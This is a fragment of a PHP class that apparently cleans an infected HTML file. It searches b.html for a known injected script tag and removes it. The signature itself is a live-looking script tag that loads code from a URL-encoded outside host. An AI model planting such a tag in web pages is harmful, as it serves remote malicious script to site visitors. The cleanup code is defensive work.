    public $index ='b.html';
    public $filepath =array('b.html');
    public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
    function open_file(){
    if(file_exists($this->index)){
    $tmp =file_get_contents($this->index);
    if( strrpos($tmp,$this->virus_type)!== false){
    $temp =str_replace($this->virus_type,'',$tmp);
    $handle =fopen($this->index,'w');
    fwrite($handle,$temp);
    fclose($handle);
    }else{
    echo $this->virus_find;
    }
    }
    }
